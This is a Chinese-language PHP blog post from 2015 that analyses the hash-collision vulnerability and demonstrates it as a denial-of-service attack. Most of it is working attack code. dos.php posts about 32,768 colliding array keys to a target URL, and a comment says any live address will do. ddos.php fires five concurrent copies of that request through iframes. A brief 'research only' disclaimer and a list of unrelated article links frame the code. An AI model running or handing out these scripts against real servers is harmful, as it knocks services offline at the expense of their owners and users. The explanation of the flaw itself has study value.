PHP利用hash冲突漏洞进行DDoS攻击的方法分析


Posted in PHP onMarch 26, 2015

本文实例分析了PHP利用hash冲突漏洞进行DDoS攻击的方法。分享给大家供大家参考。具体分析如下:

首先声明:本文内容只用于研究学习使用,请勿用于非法行为!

前面提到过最近爆出的hash表碰撞漏洞,包括java、python、php等在内的很多常用语言均未幸免,今晚咱就来实际看看它的威力。

攻击原理:

通过向目标服务器post一组精心拼凑的数组参数,到达服务端后语言底层处理接收到的数组参数时,由于该漏洞的存在造成CPU的大量消耗,最终导致服务器资源耗尽。
不用什么花哨的手法,就用PHP简单实现下看下效果,点到即止。

文件:dos.php

// 目标地址 
// 只要目标地址存在,不用管它是干嘛的 
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
  $data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&')); 
var_dump($ret); 
function curl($url, $post, $timeout = 30){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); 
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
  curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_POST, true);
  curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  $output = curl_exec($ch);
  if ($output === false) return false;
  $info = curl_getinfo($ch);
  $http_code = $info['http_code'];
  if ($http_code == 404) return false;
  curl_close($ch);
  return $output;
}

文件:ddos.php

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> 
<title>DDOS</title> 
</head> 
<body> 
<?php 
for($i=0; $i<5; $i++){//并发数 
  echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; 
} 
?> 
</body> 
</html>

希望本文所述对大家的php程序设计有所帮助。

PHP 相关文章推荐
PHP.MVC的模板标签系统(四)
Sep 05 PHP
一个PHP日历程序
Dec 06 PHP
Bo-Blog专用的给Windows服务器的IIS Rewrite程序
Aug 26 PHP
php数字游戏 计算24算法
Jun 10 PHP
将博客园(cnblogs.com)数据导入到wordpress的代码
Jan 06 PHP
PHP 读取Postgresql中的数组
Apr 14 PHP
PHP动态生成javascript文件的2个例子
Apr 11 PHP
10个php函数实用却不常见
Oct 13 PHP
Zend Framework教程之Application用法实例详解
Mar 14 PHP
PHP文件操作详解
Dec 30 PHP
php实现xml转换数组的方法示例
Feb 03 PHP
mac pecl 安装php7.1扩展教程
Oct 17 PHP
ThinkPHP、ZF2、Yaf、Laravel框架路由大比拼
Mar 25 #PHP
CentOS 安装 PHP5.5+Redis+XDebug+Nginx+MySQL全纪录
Mar 25 #PHP
MacOS 安装 PHP的图片裁剪扩展Tclip
Mar 25 #PHP
php编写的一个E-mail验证类
Mar 25 #PHP
php取得字符串首字母的方法
Mar 25 #PHP
PHP判断IP并转跳到相应城市分站的方法
Mar 25 #PHP
PHP使用in_array函数检查数组中是否存在某个值
Mar 25 #PHP
You might like
咖啡知识大全
2021/03/03 新手入门
理解PHP5中static和const关键字的区别
2007/03/19 PHP
php网页标题中文乱码的有效解决方法
2014/03/05 PHP
php实现按文件名搜索文件的远程文件查找器
2014/05/10 PHP
php格式化时间戳
2016/12/17 PHP
PHP基于socket实现客户端和服务端通讯功能
2017/07/13 PHP
[原创]PHP实现SQL语句格式化功能的方法
2017/07/28 PHP
use jscript List Installed Software
2007/06/11 Javascript
javascript不同页面传值的改进版
2008/09/30 Javascript
javascript attachEvent和addEventListener使用方法
2009/03/19 Javascript
jQuery LigerUI 使用教程表格篇(1)
2012/01/18 Javascript
JQuery1.8 判断元素是否绑定事件的方法
2014/07/10 Javascript
js+HTML5实现canvas多种颜色渐变效果的方法
2015/06/05 Javascript
JavaScript实现将文本框的值插入指定位置的方法
2015/08/13 Javascript
js命名空间写法示例
2015/12/18 Javascript
JavaScript之filter_动力节点Java学院整理
2017/06/28 Javascript
jQuery实现动态添加节点与遍历节点功能示例
2017/11/09 jQuery
如何能分清npm cnpm npx nvm
2019/01/17 Javascript
[06:04]DOTA2国际邀请赛纪录片:Just For LGD
2013/08/11 DOTA
Python实现抓取百度搜索结果页的网站标题信息
2015/01/22 Python
在Python的Django框架中更新数据库数据的方法
2015/07/17 Python
Python实现的端口扫描功能示例
2018/04/08 Python
python实现周期方波信号频谱图
2018/07/21 Python
Python DataFrame一列拆成多列以及一行拆成多行
2019/08/06 Python
python3读取csv文件任意行列代码实例
2020/01/13 Python
python GUI库图形界面开发之PyQt5打开保存对话框QFileDialog详细使用方法与实例
2020/02/27 Python
pandas中ix的使用详细讲解
2020/03/09 Python
使用pandas实现筛选出指定列值所对应的行
2020/12/13 Python
物业保安员岗位职责制度
2014/01/30 职场文书
安全教育实施方案
2014/03/02 职场文书
讲座主持词
2014/03/20 职场文书
中职生求职信
2014/07/01 职场文书
护理目标管理责任书
2014/07/25 职场文书
学习党章的体会
2014/11/07 职场文书
干部作风纪律整顿心得体会
2016/01/23 职场文书
2019年教师节:送给所有老师的祝福语
2019/09/05 职场文书